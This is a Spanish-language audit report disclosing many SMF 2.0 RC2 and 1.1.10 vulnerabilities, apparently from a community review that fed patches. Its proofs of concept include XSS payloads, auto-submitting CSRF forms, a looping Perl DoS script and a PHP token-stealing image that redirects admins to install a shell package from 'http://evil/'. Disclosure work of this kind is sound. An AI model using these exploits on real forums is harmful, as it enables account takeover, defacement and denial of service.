DescripciónVoy a comenzar explicando la prueba de concepto directamente:
http://localhost/smf2.0/index.php?action=admin;area=packages;sa=flush
Primero que nada decir que esta acción no requiere de ningún token por lo
tanto puede ser ejecutado de forma arbitraria y consiste en que te elimina
todo el listado de paquetes instalados en el archivo que contiene todas tus
instalaciones "installed.list".
Si por ejemplo tienes instalado 4 mods los cuales modificaron tu foro ya no
podrás desintalarlos porque no figurarán instalados y los cambios en el
foro permanecerán modificados, eso quiere decir que si intentas reinstalar
el mismo mod no podrás porque los cambios ya están hechos y por lo tanto
tampoco puedes desintalarlos ni eleiminarlos.
Esto puede afectar por completo el funcionamiento de tu foro al intentar
realizar una actualización o cambio en un paquete nuevo ya que las
busquedas de reemplazo de strings en los archivos del foro ya no serán los
mismos.
La única solución sería restaurar un respaldo creado con anterioridad o
volver a instalar tu foro nuevamente con cada mod.
El fallo se produce en el archivo Sources/Packages.php linea 1167 en la
función "FlushInstal" ya que desde que es llamada la función hasta que
finaliza en ningúna parte se solicita un token de verificación para evitar
una ejecución arbitraria de esta acción.
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1167
Detalles
Descripción: | XSS en el buscador de usuarios |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | code: Sources/Subs-Auth.php:551 |
URL Vulnerable: | URL: index.php?action=findmember;[TOKEN] |
PoC: | POST: search=dd&input=pm_ignore_list&delim=%27%22%3c%3e%5b%58%53%53%20%61%63%e1%5d"e=0 |
Afecta a: | SMF 2.0 RC2 |
DescripciónEl problema está en el archivo Sources/Subs-Auth.php linea 551
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Subs-Auth.php#551
ya que cuando se supone que debe filtrar en htmlspecialchars realmente no
lo hace:
// Take the delimiter over GET in case it's \n or something.
$context['delimiter'] = isset($_REQUEST['delim']) ? ($_REQUEST['delim'] ==
'LB' ? '\\n' : $smcFunc['htmlspecialchars']($_REQUEST['delim'])) : ', ';
$context['quote_results'] = !empty($_REQUEST['quote']);
Pero, porque no funciona en modo GET y si funciona en modo POST?
eso es porque smf pasa $_POST por $_REQUEST autobypaseando filtros como este.
Tal como me lo comentaba sirdarckcat, al principio es necesario ingresar el
token del usuario afectado pero eso puede ser bypaseado enviandolo sin su
sesión logueada, entonces cuando loguee se le redireccionará hcia su
busqueda infectada con el xss.
Prueba de concepto:
nc -v 127.0.0.1 80
POST /smf_2/index.php?action=findmember;[TOKEN] HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5)Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: PHPSESSID=[cookie]
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
search=dd&input=pm_ignore_list&delim=%27%22%3c%3e%5b%58%53%53%20%61%63%e1%5d"e=0
Retornará un código inyectado dentro del tag "<script />"
Detalles
Descripción: | CSRF+XSS en el administrador de lenguajes |
Descubierto por: | cicatriz.r00t@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | /index.php?action=admin;area=languages;sa=editlang;lid=english; |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónEn este ataque se utiliza Cross-Site Request Forgery para realizar un
ataque Cross-Site Scripting.
Proof-of-Concept:
<body onload="document.forms[0].elements[5].click()">
<form
action="/index.php?action=admin;area=languages;sa=editlang;lid=english;"
method="post" accept-charset="UTF-8">
<input name="character_set" size="20" value="ISO-8859-1" type="text">
<input name="locale" size="20" value="en_US" type="text">
<input name="dictionary" size="20" value="en" type="text">
<input name="spelling" size="20"
value="american"><h1>XSS</h1>"
type="text">
<input name="rtl" class="check" type="checkbox">
<input type="submit" value="Save" name="save_main"/>
</form>
</body>
Otra cosa a resaltar es el echo de poder cambiar el tipo de character set.
Cosa que nos daría la libertad de elegir un encoding vulnerable como UTF-7.
El problema se ubica aquí:
+++/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php @@ 1195:1201
1195 $replace_array = array(
1196 '~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) .
'\';',
1197 '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
1198 '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
1199 '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
1200 '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' =>
'$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
1201 );
---/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageServer.php#1195
Lo único que salva al foro de no sufrir la ejecución de PHP es la función
addslashes(), porque todos estos datos son escritos a un archivo.
Detalles
Descripción: | XSS en el nombre del foro |
Descubierto por: | ysk.sft@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | N/A |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónEl sistema para agregar subforos no filtra caracteres al agregar subforos,
haciendo que se pueda agregar codigo javascript entre otros no solo en el
index si no que tambien en diversos lugares del panel de administración
entre ellos el mismo panel de administración de subforos , haciendo que
mediante codigo javascript se podria hacer que en el navegador no se
pudiera ver el panel de administración de subforos haciendo casi imposible
para una persona de conocimientos basicos modificar el subforo para
eliminar el deface que se podria hacer con el XSS .
Saludos ;)
Detalles
Descripción: | XSS en la URL del logo |
Descubierto por: | cicatriz.r00t@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | /index.php?action=admin;area=theme;sa=settings;th=1; |
PoC: | options[header_logo_url]=."/onerror=alert(0);// |
Afecta a: | SMF 2.0 RC2 |
DescripciónBueno, esto en realidad no me pareció muy relevante pero quizás sirva de
todos modos. Si vamos a la pagina de administracion donde se cambia la
configuracion del theme que se esta usando
(/index.php?action=admin;area=theme;sa=settings;th=1;) y al modificar el
input "options[header_logo_url]", si ponemos algo como esto:
."/onerror=alert(0);//
El código JS se ejecutaría en cualquier parte del foro.
Detalles
Descripción: | CSRF en la configuración de post |
Descubierto por: | brlvldvlsmrtnz@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | index.php?action=admin;area=postsettings;save;sa=posts |
PoC: | <form name=exploit method=POST action=http://localhost/index.php?action=admin;area=postsettings;save;sa=posts <input type=hidden name=enableEmbeddedFlash value=1> </form> |
Afecta a: | SMF 2.0 RC2 |
DescripciónThe vulnerabilitie is found in the function ModifyPostSettings in the file
ManagePosts.php , this function allows to you to change the post settings
and it does not verify the token of the session so ... It is CSRF.
The POC:
<html>
<head>
<title></title>
</head>
<body>
<form name=exploit method=POST action=http://localhost/index.php?action=admin;area=postsettings;save;sa=posts>
<input type=hidden name=enableEmbeddedFlash value=1>
</form>
<script>
document.exploit.submit();
</script>
</body>
</html>
Detalles
Descripción: | XSS en el buscador de lenguajes |
Descubierto por: | brlvldvlsmrtnz@gmail.com |
Código vulnerable: | ManageServer.php:408 |
URL Vulnerable: | index.php?action=admin;area=languages;sa=add;[token] |
PoC: | <xss> |
Afecta a: | SMF 2.0 RC2 |
DescripciónLa vulnerabilidad está en el buscador de lenguajes en la variable smf_add
que va dentro de un textbox.
Hay que escribir
">(codigo)http://localhost/SMF/index.php?action=admin;area=languages;sa=add;[token]
Detalles
Descripción: | XSS en "theme name" de "themes and layout settings" |
Descubierto por: | brlvldvlsmrtnz@gmail.com |
Código vulnerable: | Themes.php:346 |
URL Vulnerable: | index.php?action=admin;area=theme;sa=list;token |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónSi en los theme settings cambias el nombre del tema por uno que contenga
html y te vas a los themes and layout settings, verás tu código.
El error está en el archivo Themes.php en la línea 346 en la que hay que
poner :
$context['themes'][$row['id_theme']][$row['variable']] = htmlspecialchars($row['value']);
Adjunto archivo supuestamente seguro.
http://localhost/SMF/index.php?action=admin;area=theme;sa=list;token
Soluciónhttp://smf2-review.googlecode.com/issues/attachment?aid=5572441877403199176&name=Themes.php
Detalles
Descripción: | XSS en "theme url and settings" |
Descubierto por: | brlvldvlsmrtnz@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | index.php?action=admin;area=theme;sa=settings;th=2;[token] |
PoC: | http://urlreal"><script>alert(1);</script> |
Afecta a: | SMF 2.0 RC2 |
DescripciónLa vulnerabilidad se explota desde donde se configura el tema actual y es
vulnerable además del logo (que ya pusieron antes) en la url del tema y de
las imágenes.
Poniendo en las urls: ht
tp://urlreal"><script>alert("Robamos tus cookies
gracias...");</script> se consigue ejecutar ese código javascript cada vez
que se muestre una imagen o se llame a una hoja de estilo.
SoluciónEsto se arregla en las líneas 819,820,821 poniendo esto :
foreach ($_POST['options'] as $opt => $val)
$inserts[] = array(0, $_GET['th'], htmlspecialchars($opt),
is_array($val) ? implode(',', htmlspecialchars($val)) : $val);
En el archivo themes.php en la url :
http://localhost/SMF/index.php?action=admin;area=theme;sa=settings;th=2;[token]
Detalles
Descripción: | XSS en "theme url and settings" |
Descubierto por: | brlvldvlsmrtnz@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | index.php?action=admin;area=theme;sa=settings;th=2;[token] |
PoC: | http://urlreal"><script>alert(1);</script> |
Afecta a: | SMF 2.0 RC2 |
Descripciónhttp://localhost/SMF/index.php?action=admin;area=theme;sa=edit;toke
Para arreglarlo hay que cambiar la línea 1711 del archivo themes.php por esta :
$context['themes'][$row['id_theme']][$row['variable']] =
htmlspecialchars($row['value']);
Detalles
Descripción: | XSS en el administrador de paquetes |
Descubierto por: | cicatriz.r00t@gmail.com |
Código vulnerable: | Sources/Packages.php:1384 |
URL Vulnerable: | N/A |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónEste ataque de Cross-Site Scripting sucede cuando especificamos como FTP
Server ("pack_server" input) algo como:
"/onmouseover="alert(0);
Este problema reside en la linea 1384 del archivo Sources/Packages.php
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1384
Aunque tambien se puede ver en otras variables:
+++Packages.php @@ 1381:1388
1381 if (isset($_POST['submit']))
1382 {
1383 updateSettings(array(
1384 'package_server' => $_POST['pack_server'],
1385 'package_port' => $_POST['pack_port'],
1386 'package_username' => $_POST['pack_user'],
1387 'package_make_backups' => !empty($_POST['package_make_backups'])
1388 ));
---Packages.php
Esto se puede hacer automáticamente mediante CSRF, que aunque tiene un token el
formulario original no es checkeado.
Entonces el código seria simple:
<body onload="document.forms[0].elements[4].click();">
<form accept-charset="UTF-8" method="post"
action="/index.php?action=admin;area=packages;sa=options">
<input type="text" size="30"
value=""><iframe/src="javascript:alert(0)">"
id="pack_server" name="pack_server"/>
<input type="text" value="" size="3" id="pack_port" name="pack_port"/>
<input type="text" size="30" value="" id="pack_user" name="pack_user"/>
<input type="checkbox" checked="checked" class="check" value="1"
id="package_make_backups" name="package_make_backups"/>
<input type="submit" value="Save" name="submit"/>
</form>
</body>
Solo con que se cumpla el if() se alojan las variables:
Citar1381 if (isset($_POST['submit']))
El ataque XSS también se ejecuta en la sección de "File Permissions".
Detalles
Descripción: | CSRF en la union de temas |
Descubierto por: | ysk.sft@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | N/A |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónEste CSRF permite obligar a algún moderador o cualquiera con el poder de
unir 2 topics a unirlos.
Dejo un ejemplo de un html que obliga a unir el topic 1 con el topic 4 .
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("#id_formulario").submit();
});
</script>
<form id="id_formulario" action="http://localhost/foro2/index.php?action=mergetopics;sa=execute" method = "POST" target = "asdf" >
<input name="topics[]" value="1" />
<input name="notifications[]" value="1" />
<input name="topics[]" value="4" />
<input name="notifications[]" value="4" />
<input name="subject" value="0" />
<input name="custom_subject" value="Nuevo titulo" />
<input name="enforce_subject" value="1" />
<input name="sa" value="execute" />
</form>
<iframe name="asdf" id="asdf" src="/ruta/archivo.html"></iframe>
Detalles
Descripción: | CSRF permite darle permisos a los usuarios normales para modificar permisos del foro |
Descubierto por: | ysk.sft@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | N/A |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónEste CSRF permitiria solo haciendo que el administrador visite una web de
nosotros con su sesion de su foro abierta hacer que le de permisos a los
usuarios normales para cambiar los permisos de los grupos como por ejemplo
los moderadores globales .
El error fue probado en SMF 2.0 RC2 ;)
Ejemplo de un HTML que cambiaria los permisos:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("#id_formulario").submit();
});
</script>
<form id="id_formulario" action="http://localhost/foro2/index.php?action=admin;area=permissions;save;sa=settings" method = "POST" target = "asdf" >
<input name="manage_permissions[0]" value="on" />
<input name="manage_permissions[2]" value="off" />
<input name="manage_permissions[4]" value="off" />
<input name="manage_permissions[5]" value="off" />
<input name="manage_permissions[6]" value="off" />
<input name="manage_permissions[7]" value="off" />
<input name="manage_permissions[8]" value="off" />
<input name="permission_enable_deny" value="1" />
<input name="permission_enable_postgroups" value="1" />
</form>
<iframe name="asdf" id="asdf" src="/ruta/archivo.html"></iframe>
Detalles
Descripción: | CSRF permite borrar una encuesta |
Descubierto por: | ysk.sft@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | N/A |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónConsigue borrar cualquier encuesta .
<form id="id_formulario"
action="http://localhost/foro2/index.php?action=removepoll;topic=1.0 method = "POST"
target = "asdf" >
Detalles
Descripción: | CSRF permite elevar privilegios de usuarios normales para modificar los smileys |
Descubierto por: | ysk.sft@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | N/A |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónEl CSRF se encuentra en /index.php?action=admin;area=smileys;save;sa=settings
y permite hacer que los usuarios normales tengan poderes para modificar los
smileys.
Aparte de modificar los smileys tambien se puede aprovechar para ver la
ruta de los archivos algo como un path discloure en
/index.php?action=admin;area=smileys;sa=settings.
<form id="id_formulario"
action="http://localhost/foro2/index.php?action=admin;area=smileys;save;sa=settings
method = "POST" target = "asdf" style="visibility:hidden;">
<input name="manage_smileys[0]" value="on" />
</form>
Detalles
Descripción: | RSS DoS |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/News.php:83 |
URL Vulnerable: | N/A |
PoC: | $peticion = 'GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1 |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónEl bug consiste en que SMF pone como límite 256 items al momento de
visualizar el rss del foro. Si intentas visualizar las 256 entradas unas 5
veces de forma simultanea puedes hacer colapsar la base de datos y elevar
el pid a las nuves.
De todas formas este valor máximo es configurable pero por defecto viene un
valor demasiado elevado para un servidor standard compartido.
el problema se centra en el archivo Sources/News.php linea 83
$_GET['limit'] = empty($_GET['limit']) || (int) $_GET['limit'] < 1 ? 5 :
min((int) $_GET['limit'], 255);
Aunque mas abajo si impone un límite que puedes manupular desde el panel de
administración pero estos 255 que al final se transforman en 256 van por
defecto.
Nota: si haces un fork cada 10 conexiones simultaneas terminas cosinando
huevos fritos sobre el procesador del servidor.
Prueba de concepto:
#!/usr/bin/perl
# Prueba de concepto realizado para testear la vulnerabilidad de
# simplemachines forum 2.0 RC2 y 1.1.10.
# SimpleAudit elhacker.net
use IO::Socket;
# autoflush activado
$| = 1;
$host = 'foro.indeseable.ejemplo';
$peticion = 'GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1
Host: '.$host.'
User-Agent: PEC-Matic V1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
';
print "Conectando... \n";
for(;;) {
$socket = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
Timeout => 1
);
if($socket){
print '.';
$socket->send($peticion);
close($socket);
}else{
print 'x';
}
}
print "\nTerminado.\n";
exit(1);
Detalles
Descripción: | Robo del token de sesión |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/Post.php:815 y Themes/classic/Display.template.php:407 |
URL Vulnerable: | N/A |
PoC: | N/A |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónEsta vulnerabilidad permite el robo de tu hash que evita cualquier tipo de
ataque CSRF, esto significa que si logras obtener dicho hash podrás
realizar cualquier tipo de acción arbitraria.
Para demostrar este bug hacemos un post cualquiera en nuestro foro de
pruebas, luego vamos a ese post y le hacemos click en el botón "quote" o
"citar", en ese momento comenzarás a crear una respuesta al post con una
citación y si te das cuenta has incluido en la url tu token de seguridad y
mas abajo se incluyen los post anteriores INCLUYENDO código bbc interpretado.
Esto quiere decir que puedes realizar un post con una imagen enlazada a tu
servidor web, entonces cuando alguien haga una cita de un post que se
encuentre en la misma página de post tuyo se incluirá la visualización de
dicha imagen y quedará grabado tu token en mis logs de acceso.
Puedes crear un script automatizado que actue de imagen y si captura de
referencia algún token entonces será capturado y enviará una redireción
hacia un ataque de tipo CSRF incluyendo tu token bypaseando el sistema de
seguridad de smf.
El problema está en todos los themes de smf xD incluyendo el theme clásico
ya que lleva el token de forma nativa en el enlace l igual que todos los
themes.
Themes/classic/Display.template.php linea 407
También es en parte problema de la función que procesa el citado de post ya
que te exige por obligación dicho token y no debería pedirse
Sources/Post.php linea 815
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Post.php#815
También hay que recordar las vulnerabilidades encontradas en el cual
necesitas el token del usuario.
PoC:
<?php
/* Evitamos un error inesperado */
error_reporting(0);
/* Imagen a visualizar */
$imagen_carnada = 'http://t2.gstatic.com/images?q=tbn:MBl2gp1VvxRl2M:http://rufadas.com/wp-content/uploads/2007/04/cara-de-culo.jpg';
$servidor_shell = 'http://evil/';
$mod_shell = 'shell_mod.zip';
$referer = $_SERVER['HTTP_REFERER'];
$referer = explode(';', $referer);
/* Token formado por un hash de 32 carácteres
mas un nombre de variable al azar */
foreach($referer as $token){
$token = explode('=', $token);
if(strlen($token[0]) > 6){
if(strlen($token[1]) == 32){
$url_foro = $_SERVER['HTTP_REFERER'];
$url_foro = explode('index.php', $url_foro);
$url_foro = $url_foro[0];
/* Apostamos a un CSRF apuntando al panel de administración */
header(
'location: '.$url_foro.'index.php?action=admin;'.
'area=packages;get;sa=download;byurl;package='.
urlencode($servidor_shell).';filename='.urlencode($mod_shell).';'.
$token[0].'='.$token[1]);
exit;
}
}
}
/* No hay token */
header('Content-Type: image/jpeg');
echo file_get_contents($imagen_carnada);
exit;
?>
Nota de YST:
CitarEste bug tambien permite que se pueda olbigar a que no puedan editar un post al
postear la imagen en el mismo topic , ya que si se usa para cerrar sesion no permite
guardar el post editado .
Detalles
Descripción: | ReDoS en htmltrim |
Descubierto por: | sirdarckcat@elhacker.net |
Código vulnerable: | Sources/Load.php:198 |
URL Vulnerable: | N/A |
PoC: | smfFunc['htmltrim']('x y'); |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
Descripciónhttp://code.google.com/p/smf2-review/source/browse/trunk/Sources/Load.php#198
smfFunc['htmltrim']('x y');
deberia causar un DoS en PREG.. este puede causar problemas a futuro (como
con http://www.google.com/::((((((((((((((((((((((( )
prueben con:
preg_replace('~^(?:[ \t\n\r\x0B\x00]| )+|(?:[ \t\n\r\x0B\x00]|
)+$~u','','x'.str_repeat(' ',15).'y');
deberia regresarles un string vacio.. hay que checar donde se usa esta
funcion para ver si podemos abusar del hecho que regrese un string vacio.
Saludos!!
Detalles
Descripción: | DoS en el acceso al foro |
Descubierto por: | sirdarckcat@elhacker.net |
Código vulnerable: | Sources/QueryString.php;108 , Sources/QueryString.php:126 y Sources/QueryString.php:112 |
URL Vulnerable: | index.php?http:// o index.php?1=1 |
PoC: | Cookie: GLOBALS |
Afecta a: | SMF 2.0 RC2 |
DescripciónPor la siguiente linea:
if (isset($_REQUEST['GLOBALS']) || isset($_COOKIE['GLOBALS']))
die('Invalid request variable.');
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/QueryString.php#108
Si podemos poner una cookie llamada GLOBALS el usuario no podra entrar al
foro.. no es explotable per-se porque necesitamos una manera de poner dicha
cookie.. y si podemos poner cookies es mas facil denegar el acceso con
cookies largas, pero bueno..
Lo mismo va para parametros con numeros:
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/QueryString.php#112
foreach (array_merge(array_keys($_POST), array_keys($_GET),
array_keys($_FILES)) as $key)
if (is_numeric($key))
die('Numeric request keys are invalid.');
Eso es para evitar problemas de un bug que habia en unset()..
no es tan peligroso ya pero pues..
http://tu-foro-smf/index.php?http://
wtf?
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/QueryString.php#126
si necesitan una Url que diga:
Citarheader('HTTP/1.1 400 Bad Request');
ahi la tienen, puede servir para forzar un error aveces..
Detalles
Descripción: | XSS en la subida de archivos |
Descubierto por: | ysk.sft@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | N/A |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónAl subir archivos mediante el upload de los post si uno modifica las
cabezeras para modificar el nombre del archivo y metes codigo(como <a
href='javascript:alert(0);' >test.php) , este se ejecutara cuando modificas
el post y cuando se ve por
index.php?action=profile;area=showposts;sa=attach;u=IDUSER los archivos
subidos.
Saludos.
Detalles
Descripción: | CSRF en las reglas de mensajes |
Descubierto por: | brlvldvlsmrtnz@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | http://localhost/SMF/index.php?action=pm;sa=manrules |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónEste CSRF permitiría hacer cosas como que el usuario afectado borrara
automáticamente los MPs de otro usuario determinado.
La vulnerabilidad está en la url :
http://localhost/SMF/index.php?action=pm;sa=manrules
este POC que crea una regla que borra todos los mensajes que provengan
del user admin:
<html>
<head>
<title> New Poc </title>
</head>
<body>
<form name=POC method=POST action=http://localhost/SMF/index.php?action=pm;sa=manrules;save;rid=0>
<input type=hidden value="Regla creada por CSRF" name=rule_name>
<input type=hidden name=ruletype[0] value=mid>
<input type=hidden name=ruledef[0] value=admin>
<input type=hidden name=acttype[0] value=del>
<input type=hidden name=save >
</form>
<script>
document.POC.submit();
</script>
</body>
</html>
Detalles
Descripción: | Robo del tocken de sesión (II) |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Cualquier theme que muestre el avatar en la página principal |
URL Vulnerable: | Todas |
PoC: | N/A |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónEl problema está en que cada ves que haces una petición GET con tu token en
la url estás enviando tu hash que te protege ante ataques de tipo CSRF a
todas las direcciones de cada imagen mostrada.
Cuando las imagenes de un theme son locales no hay problema porque el token
queda guardado en los logs de acceso de tu servidor pero cuando smf muestra
alguna imagen externa estarás enviando directamente tu token a ese servidor.
¿Un ejemplo?
Hay themes que ponen tu avatar en la parte superior del foro en el
encabezado. Bastaría con que alguien utilize una imagen que esté alojada en
tu servidor para lanzarle un ataque de tipo CSRF de cualquier tipo
ejecutando acciones de forma arbitraria vulnerando cualquier tipo de cuenta
inclusive la de administración.
Nota de sirdarckcat
Citares un bug en algunos themes (el default no es vulnerable) y solo explotable si el
usuario pone su avatar en un servicio de hosting de imagenes que controla un
atacante.. la peligrosidad es baja creo yo..
También se adjuntan los siguientes post con vulnerabilidades de SimpleMachines Forum con su descripción completa:
http://foro.elhacker.net/nivel_web/hackea_a_elhackernet_finalizado_ganador_yasion-t275475.0.html
http://foro.elhacker.net/nivel_web/backdoor_nativo_en_smf_20-t272107.0.html
http://foro.elhacker.net/nivel_web/multiples_inyecciones_sql_en_smf_1110_y_20_rc12-t270049.0.html
Notas:
El backdoor nativo fue removido del sistema a partir de la versión 2.0 rc2.
Algunos bugs fueron parchados en smf 1.1.11.
Simplemachines ya actualizó la versión RC2 de SMF 2.0 a la RC3 y algunos que estubimos en la auditoría aparecemos en el changelog :D
http://download.simplemachines.org/index.php?thanks;filename=smf_2-0-rc3_changelog.txt